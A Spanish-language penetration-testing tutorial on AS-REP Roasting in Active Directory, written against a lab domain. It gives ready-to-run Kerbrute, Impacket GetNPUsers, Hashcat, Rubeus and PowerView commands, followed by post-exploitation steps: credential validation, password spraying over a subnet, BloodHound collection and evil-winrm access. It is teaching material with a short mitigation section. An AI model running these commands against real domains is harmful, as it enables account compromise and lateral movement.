AS-REP Roasting: cómo identificarlo y explotarlo en Active Directory

AS-REP Roasting es una técnica de Active Directory que permite obtener material crackeable de ciertos usuarios de dominio sin conocer previamente su contraseña.

La condición clave es que el usuario tenga deshabilitada la opción:

Do not require Kerberos preauthentication

Cuando esto ocurre, Kerberos puede responder a una solicitud de autenticación inicial sin que el usuario tenga que demostrar primero que conoce su contraseña.

Eso nos permite obtener una respuesta AS-REP que contiene información protegida con una clave derivada de la contraseña del usuario.

Después podemos intentar recuperar esa contraseña completamente offline.

La cadena general sería:

Encontrar usuario sin PreAuth
        ↓
Solicitar AS-REP
        ↓
Obtener material crackeable
        ↓
Hashcat / John
        ↓
Recuperar contraseña
        ↓
Reenumerar Active Directory

Realiza estas pruebas únicamente sobre sistemas propios, laboratorios o infraestructura donde tengas autorización.

---

¿Qué estamos intentando conseguir?

Nuestro objetivo es encontrar usuarios de Active Directory que tengan configurada la opción:

Do not require Kerberos preauthentication

Por ejemplo:

backup_svc
legacy_user
sql_backup
svc_app

Si encontramos uno, podemos solicitar una respuesta Kerberos inicial asociada a ese usuario.

El objetivo final es obtener algo similar a:

$krb5asrep$...

y posteriormente probar contraseñas offline.

---

¿Qué es Kerberos Pre-Authentication?

Normalmente, cuando un usuario intenta autenticarse mediante Kerberos, no basta con decir:

Hola, soy pedro

El KDC quiere comprobar que realmente conocemos la contraseña asociada a esa cuenta antes de entregarnos determinada información.

Para eso existe la preautenticación.

Simplificando mucho, el flujo normal sería:

Usuario
  ↓
Demuestra conocimiento de su contraseña
  ↓
KDC
  ↓
AS-REP / TGT

La contraseña no se envía directamente.

Kerberos utiliza material criptográfico derivado de ella.

La idea importante es que el KDC exige una prueba previa.

¿Qué cambia cuando PreAuth está deshabilitado?

Si una cuenta tiene:

Do not require Kerberos preauthentication

el flujo cambia.

Podemos preguntar:

Quiero autenticarme como backup_svc

sin demostrar previamente que conocemos su contraseña.

El KDC puede responder con un:

AS-REP

que contiene información cifrada utilizando una clave derivada de la contraseña del usuario.

Ahí aparece AS-REP Roasting.

AS-REP Roasting en una frase

Podemos resumirlo así:

Si Kerberos no exige preautenticación para un usuario, podemos solicitar una respuesta cifrada con su clave y probar contraseñas contra ella offline.

---

¿Qué necesitamos para explotarlo?

Aquí AS-REP Roasting tiene una ventaja interesante.

Dependiendo del escenario, no siempre necesitamos credenciales válidas del dominio.

Los requisitos principales son:

1. Conocer o descubrir un usuario válido.
2. Que ese usuario tenga PreAuth deshabilitado.
3. Poder comunicarnos con Kerberos en el Domain Controller.

Normalmente:

TCP/UDP 88

Diferencia importante con Kerberoasting

En Kerberoasting normalmente tenemos:

Usuario autenticado
       ↓
Solicita TGS
       ↓
Cuenta con SPN

En AS-REP Roasting podemos llegar a tener:

Usuario conocido
       ↓
No PreAuth
       ↓
Solicitar AS-REP

sin conocer ninguna contraseña previamente.

Esto hace que AS-REP Roasting pueda ser especialmente interesante durante las primeras fases de un pentest.

---

Paso 1 — Identificar el Domain Controller

Primero podemos enumerar los servicios del objetivo.

nmap -sC -sV -p 53,88,135,139,389,445,464,636,3268,3269 10.10.10.10

Si observamos servicios como:

53    DNS
88    Kerberos
389   LDAP
445   SMB
3268  Global Catalog

es muy probable que estemos delante de un Domain Controller.

Supongamos:

DC:
10.10.10.10

Dominio:
breaksecure.local

---

Paso 2 — Conseguir usuarios válidos

Antes de buscar AS-REP Roasting necesitamos usuarios.

Esto puede venir de muchas fuentes.

Por ejemplo:

SMB
LDAP
RPC
Web
Correos
Documentos
Metadatos
OSINT
Credenciales filtradas

Podríamos terminar con:

users.txt

que contiene:

administrator
pedro
juan
backup_svc
sql_svc
svc_web

Enumeración con Kerbrute

Una herramienta muy utilizada para validar usuarios Kerberos es:

Kerbrute

Por ejemplo:

kerbrute userenum -d breaksecure.local --dc 10.10.10.10 users.txt

Esto puede ayudarnos a diferenciar:

usuarios válidos
usuarios inexistentes

Dependiendo de la respuesta Kerberos.

Después podemos usar únicamente los usuarios confirmados en la siguiente fase.

---

Paso 3 — Buscar usuarios vulnerables con GetNPUsers

Impacket incluye:

GetNPUsers.py

que permite buscar cuentas sin Kerberos Pre-Authentication.

Si todavía no tenemos credenciales pero disponemos de una lista de usuarios:

impacket-GetNPUsers breaksecure.local/ -dc-ip 10.10.10.10 -usersfile users.txt -no-pass

La opción:

-no-pass

indica que no queremos proporcionar una contraseña.

Si alguna cuenta es vulnerable, podríamos recibir directamente algo similar a:

$krb5asrep$23$backup_svc@BREAKSECURE.LOCAL:...

Eso es exactamente lo que estamos buscando.

Guardar los resultados

Podemos intentar guardar el resultado en un archivo para crackearlo posteriormente.

Por ejemplo:

impacket-GetNPUsers breaksecure.local/ -dc-ip 10.10.10.10 -usersfile users.txt -no-pass -format hashcat -outputfile asrep.txt

Ahora tendremos:

asrep.txt

con los usuarios vulnerables encontrados.

¿Qué acaba de ocurrir?

Supongamos que nuestra lista tenía:

pedro
juan
backup_svc
svc_web

y únicamente backup_svc tiene PreAuth deshabilitado.

Cuando preguntamos al KDC por:

backup_svc

Kerberos no exige que primero demostremos que conocemos su contraseña.

Por eso podemos recibir:

AS-REP

con información cifrada utilizando material derivado de la contraseña de backup_svc.

Ahora podemos llevarnos esa respuesta y probar contraseñas contra ella.

---

Paso 4 — Crackear el AS-REP

Para un AS-REP Kerberos RC4 típico podemos utilizar Hashcat con:

hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

Si la contraseña aparece en nuestra wordlist podríamos obtener:

backup_svc:Backup2026!

¿Por qué podemos crackearlo offline?

Por la misma razón por la que Kerberoasting es tan interesante.

Una vez tenemos:

$krb5asrep$...

los intentos de contraseña ya no tienen que llegar al Domain Controller.

Podemos probar:

Password123
Backup2025
Backup2026!
Empresa2026!
Summer2026!

localmente.

La idea simplificada es:

Contraseña candidata
       ↓
Derivar clave
       ↓
Probar contra AS-REP
       ↓
¿Coincide?

Si coincide, tenemos la contraseña correcta.

Utilizar reglas con Hashcat

RockYou no siempre será suficiente.

Podemos utilizar reglas:

hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Esto genera variaciones automáticamente.

Por ejemplo:

backup
Backup
Backup1
Backup123
Backup!
Backup2026
Backup2026!

¿Y si no crackea?

No significa que AS-REP Roasting haya fallado.

Significa simplemente que la contraseña utilizada no ha aparecido entre nuestros candidatos.

Podemos cambiar la estrategia:

Wordlists personalizadas
Reglas
Masks
Patrones internos
Años
Temporadas
Nombre de empresa
Nombres de proyectos
Convenciones corporativas

Por ejemplo, si sabemos que la organización usa contraseñas tipo:

EmpresaMesAño!

podemos adaptar el ataque específicamente a ese patrón.

Ejemplo con máscara

Supongamos que creemos que la contraseña podría seguir algo parecido a:

Backup2026!

En vez de probar millones de palabras aleatorias podemos crear una estrategia mucho más específica.

La idea es reducir el espacio de búsqueda utilizando información contextual.

En un pentest real, normalmente esto es más eficiente que limitarse a lanzar RockYou y esperar.

AS-REP Roasting desde Windows con Rubeus

Si ya tenemos acceso a un equipo Windows unido al dominio, también podemos utilizar:

Rubeus

Una opción habitual es:

Rubeus.exe asreproast

Rubeus puede buscar usuarios con PreAuth deshabilitado y solicitar las respuestas correspondientes.

Después podemos llevar esas respuestas a nuestra máquina de cracking.

¿Cómo sé si una cuenta es realmente vulnerable?

Hay que distinguir varias cosas.

Usuario válido

Primero confirmamos que la cuenta existe:

backup_svc

PreAuth deshabilitado

Después verificamos que Kerberos no requiere preautenticación.

Obtenemos AS-REP

Recibimos:

$krb5asrep$...

En este punto ya podemos realizar cracking offline.

Recuperamos contraseña

Finalmente:

backup_svc:Backup2026!

Aquí hemos comprometido realmente la cuenta.

---

Paso 5 — Ya tengo la contraseña, ¿ahora qué?

Igual que con Kerberoasting, el artículo no debería acabar cuando Hashcat muestra la contraseña.

Ahora tenemos una nueva identidad:

backup_svc

La siguiente pregunta es:

¿Qué puede hacer esta cuenta?

Validar las credenciales

Podemos empezar con SMB:

nxc smb 10.10.10.10 -u 'backup_svc' -p 'Backup2026!' -d breaksecure.local

También podemos comprobar WinRM:

nxc winrm 10.10.10.10 -u 'backup_svc' -p 'Backup2026!' -d breaksecure.local

LDAP:

nxc ldap 10.10.10.10 -u 'backup_svc' -p 'Backup2026!' -d breaksecure.local

Buscar reutilización de contraseña

La contraseña recuperada puede haberse reutilizado.

Por ejemplo:

nxc smb 10.10.10.10 -u users.txt -p 'Backup2026!' -d breaksecure.local --continue-on-success

Podríamos descubrir:

backup_svc     Backup2026!
backup_admin   Backup2026!

Eso cambia completamente el impacto.

Ejecutar BloodHound de nuevo

Siempre que conseguimos una cuenta nueva merece la pena volver a enumerar Active Directory.

bloodhound-python -u backup_svc -p 'Backup2026!' -d breaksecure.local -ns 10.10.10.10 -c All

Después revisamos relaciones como:

GenericAll
GenericWrite
WriteOwner
WriteDACL
ForceChangePassword
AddMember
AdminTo
CanPSRemote
AllowedToDelegate
DCSync

Una cuenta aparentemente secundaria puede tener permisos muy interesantes.

Revisar grupos

Podemos comprobar si la cuenta pertenece a grupos como:

Backup Operators
Server Operators
Remote Management Users
Administrators
Account Operators
DNSAdmins

Especialmente interesante sería algo como:

backup_svc
  ↓
Backup Operators

porque determinadas membresías pueden abrir rutas de escalamiento adicionales.

Buscar acceso administrativo

Podemos probar la cuenta sobre otros sistemas del entorno:

nxc smb 10.10.10.0/24 -u 'backup_svc' -p 'Backup2026!' -d breaksecure.local

Si en alguno aparece:

Pwn3d!

la cuenta posee privilegios administrativos en ese host.

Ahora podríamos haber encontrado una oportunidad de movimiento lateral.

Probar WinRM

Si la cuenta tiene acceso remoto:

nxc winrm 10.10.10.20 -u 'backup_svc' -p 'Backup2026!' -d breaksecure.local

podríamos conectarnos posteriormente mediante:

evil-winrm -i 10.10.10.20 -u backup_svc -p 'Backup2026!'

Buscar servicios relacionados con la cuenta

El propio nombre puede darnos pistas.

Por ejemplo:

backup_svc

nos debería hacer pensar inmediatamente en:

Backups
Shares
Scripts
Jobs programados
Credenciales almacenadas
Software de backup
Acceso a servidores

Mientras que:

sql_svc

nos haría mirar MSSQL.

Y:

web_svc

podría llevarnos hacia IIS, aplicaciones web o servidores de aplicación.

Los nombres de cuentas de servicio muchas veces revelan hacia dónde debemos mirar después.

---

AS-REP Roasting sin credenciales

Esta es una de las diferencias más interesantes respecto a Kerberoasting.

Podemos encontrarnos en una situación donde todavía no tenemos:

usuario:contraseña

pero sí tenemos:

lista de usuarios

Si uno de esos usuarios tiene PreAuth deshabilitado:

users.txt
     ↓
GetNPUsers
     ↓
AS-REP
     ↓
Hashcat
     ↓
Primera contraseña del dominio

AS-REP Roasting puede convertirse entonces en nuestro vector de acceso inicial.

---

AS-REP Roasting con credenciales

También podemos encontrarnos ya dentro del dominio.

En ese caso podemos realizar una enumeración más completa mediante:

LDAP
BloodHound
PowerView
NetExec

para localizar específicamente cuentas que tengan configurado el flag correspondiente.

La ventaja es que ahora tenemos mucha más visibilidad sobre Active Directory.

---

¿Qué configuración hace vulnerable al usuario?

Dentro de Active Directory existe una opción asociada al usuario:

Do not require Kerberos preauthentication

Conceptualmente:

PreAuth requerida
       ↓
Normal

frente a:

PreAuth NO requerida
       ↓
Potencial AS-REP Roasting

Esta configuración suele representarse mediante determinadas flags del atributo:

userAccountControl

Buscarlo con PowerView

Si estamos dentro de Windows y tenemos PowerView, podemos buscar usuarios susceptibles a AS-REP Roasting.

Por ejemplo:

Get-DomainUser -PreauthNotRequired

Eso nos permite identificar directamente cuentas con la configuración peligrosa.

Buscarlo desde LDAP

También podemos realizar búsquedas LDAP basándonos en los atributos de Active Directory.

Esto puede ser útil cuando queremos realizar enumeración manual o automatizar auditorías.

El concepto sigue siendo:

Buscar usuarios
        ↓
Revisar userAccountControl
        ↓
Detectar DONT_REQ_PREAUTH

---

AS-REP Roasting vs Kerberoasting

Ambos ataques están relacionados con Kerberos y permiten cracking offline, pero atacan condiciones distintas.

AS-REP Roasting

Necesita:

Usuario válido
+
PreAuth deshabilitado

Solicitamos:

AS-REP

Podemos llegar a realizarlo sin credenciales.

Kerberoasting

Necesita:

Cuenta con SPN

y normalmente:

Usuario autenticado

Solicitamos:

TGS

Comparación rápida

Característica	AS-REP Roasting	Kerberoasting
Objetivo	Usuario sin PreAuth	Cuenta con SPN
Ticket	AS-REP	TGS
Credenciales previas	No siempre	Normalmente sí
Cracking offline	Sí	Sí
Objetivo habitual	Usuario	Cuenta de servicio
Herramienta Impacket	GetNPUsers	GetUserSPNs
Hashcat RC4 habitual	18200	13100

---

Flujo completo de AS-REP Roasting

Encontramos dominio
        ↓
Enumeramos usuarios
        ↓
Tenemos users.txt
        ↓
Buscar No PreAuth
        ↓
GetNPUsers
        ↓
¿Hay AS-REP?
   ↙         ↘
 NO           SÍ
 ↓             ↓
Continuar     Guardar hash
enumeración       ↓
              Hashcat
                 ↓
          ¿Sale contraseña?
            ↙        ↘
          NO          SÍ
          ↓            ↓
      Mejorar        Validar
      cracking      credenciales
                       ↓
                  Password reuse
                       ↓
                   BloodHound
                       ↓
                 Nuevo vector

---

Checklist rápido de AS-REP Roasting

Requisitos

[ ] Conozco el dominio
[ ] Identifiqué el Domain Controller
[ ] Tengo conectividad con Kerberos
[ ] Tengo al menos uno o varios nombres de usuario

Enumeración

[ ] Validé usuarios
[ ] Busqué cuentas sin PreAuth
[ ] Probé GetNPUsers
[ ] Revisé usuarios mediante LDAP/BloodHound si tengo credenciales

Explotación

[ ] Obtuve $krb5asrep$
[ ] Guardé los resultados
[ ] Identifiqué el tipo de cifrado
[ ] Ejecuté cracking offline

Post-explotación

[ ] Validé la contraseña
[ ] Probé password reuse
[ ] Revisé SMB
[ ] Revisé WinRM
[ ] Revisé LDAP
[ ] Revisé grupos
[ ] Ejecuté BloodHound
[ ] Revisé ACL
[ ] Busqué acceso administrativo
[ ] Busqué movimiento lateral

---

Comandos rápidos

Validar usuarios con Kerbrute

kerbrute userenum -d breaksecure.local --dc 10.10.10.10 users.txt

Buscar AS-REP sin credenciales

impacket-GetNPUsers breaksecure.local/ -dc-ip 10.10.10.10 -usersfile users.txt -no-pass

Guardar hashes

impacket-GetNPUsers breaksecure.local/ -dc-ip 10.10.10.10 -usersfile users.txt -no-pass -format hashcat -outputfile asrep.txt

Crackear AS-REP

hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

Crackear con reglas

hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Rubeus

Rubeus.exe asreproast

PowerView

Get-DomainUser -PreauthNotRequired

Validar contraseña

nxc smb 10.10.10.10 -u 'backup_svc' -p 'Backup2026!' -d breaksecure.local

Password reuse

nxc smb 10.10.10.10 -u users.txt -p 'Backup2026!' -d breaksecure.local --continue-on-success

BloodHound

bloodhound-python -u backup_svc -p 'Backup2026!' -d breaksecure.local -ns 10.10.10.10 -c All

---

¿Cómo mitigar AS-REP Roasting?

La principal defensa es bastante directa.

Habilitar Kerberos Pre-Authentication

Salvo que exista una razón concreta para deshabilitarla, los usuarios deberían requerir:

Kerberos Pre-Authentication

La opción:

Do not require Kerberos preauthentication

debería revisarse y eliminarse cuando no sea estrictamente necesaria.